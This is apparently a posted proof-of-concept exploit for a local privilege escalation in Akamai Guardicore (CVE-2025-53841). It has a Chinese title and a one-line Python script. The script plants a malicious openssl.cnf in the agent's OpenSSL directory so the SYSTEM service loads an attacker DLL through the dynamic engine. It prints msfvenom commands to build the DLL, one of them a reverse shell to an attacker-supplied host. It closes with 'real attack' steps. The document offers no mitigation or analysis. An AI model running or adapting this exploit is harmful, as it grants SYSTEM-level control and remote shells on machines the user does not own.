CVE-2025-53841 Akamai Guardicore本地权限提升漏洞

#!/usr/bin/env python3 """ CVE-2025-53841 PoC - Akamai Guardicore Local Privilege Escalation This PoC creates a malicious OpenSSL configuration file that loads a custom DLL to achieve privilege escalation from low-privileged user to SYSTEM. Author: Security Researcher CVE: CVE-2025-53841 CVSS: 7.8 (High) """ import os import subprocess import sys import ctypes def create_malicious_openssl_config(config_path, dll_path): """ Create a malicious openssl.cnf file that loads a custom DLL via OpenSSL engine functionality. Args: config_path: Path where openssl.cnf will be created dll_path: Path to the malicious DLL to load """ malicious_config = f"""# OpenSSL Configuration File # Malicious config for CVE-2025-53841 openssl_conf = openssl_init default_algorithms = ALL [openssl_init] engines = engine_section [engine_section] dynamic = dynamic_section [dynamic_section] dynamic_path = {dll_path} default_algorithms = ALL """ with open(config_path, 'w') as f: f.write(malicious_config) print(f"[+] Created malicious openssl.cnf at: {config_path}") print(f"[+] DLL path configured: {dll_path}") def get_target_path(): """ Get the target path where GC-AGENTS-SERVICE reads openssl.cnf This path should be writable by standard users """ # Common path where Guardicore Agent looks for openssl.cnf # The actual path may vary based on installation return r"C:\Program Files\Akamai\guardicore\openssldir\openssl.cnf" def create_payload_dll(dll_path): """ Generate a payload DLL that executes commands with SYSTEM privileges In production, use msfvenom to generate: msfvenom -p windows/x64/exec CMD="calc.exe" -f dll -o payload.dll """ print(f"[!] Generate payload DLL using msfvenom:") print(f" msfvenom -p windows/x64/exec CMD='whoami > C:\\\\temp\\\\pwned.txt' -f dll -o {dll_path}") print(f"[!] Or for a reverse shell:") print(f" msfvenom -p windows/x64/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f dll -o {dll_path}") def trigger_vulnerability(): """ Trigger the vulnerability by forcing GC-AGENTS-SERVICE to reload configuration This typically happens when the service is restarted or certain operations are performed """ print("[*] Waiting for service restart or configuration reload...") print("[*] The GC-AGENTS-SERVICE will load the malicious openssl.cnf") print("[*] This will execute the DLL with SYSTEM privileges") # In real attack scenario: # 1. Wait for service restart (system update, scheduled task, etc.) # 2. Or trigger via specific Guardicore functionality # 3. Or wait for legitimate service restart def main(): print("=" * 60) print("CVE-2025-53841 - Akamai Guardicore Local Privilege Escalation") print("=" * 60) # Configuration target_path = get_target_path() dll_path = r"C:\temp\evil.dll" # Step 1: Create directory if needed target_dir = os.path.dirname(target_path) if not os.path.exists(target_dir): try: os.makedirs(target_dir) print(f"[+] Created directory: {target_dir}") except PermissionError: print(f"[-] Cannot create directory - may already exist or no permission") # Step 2: Generate payload DLL create_payload_dll(dll_path) # Step 3: Create malicious openssl.cnf create_malicious_openssl_config(target_path, dll_path) # Step 4: Wait for service restart trigger_vulnerability() print("\n[*] PoC completed. In real attack:") print(" 1. Wait for GC-AGENTS-SERVICE restart") print(" 2. Check for successful privilege escalation") print(" 3. Verify SYSTEM-level code execution") if __name__ == "__main__": main()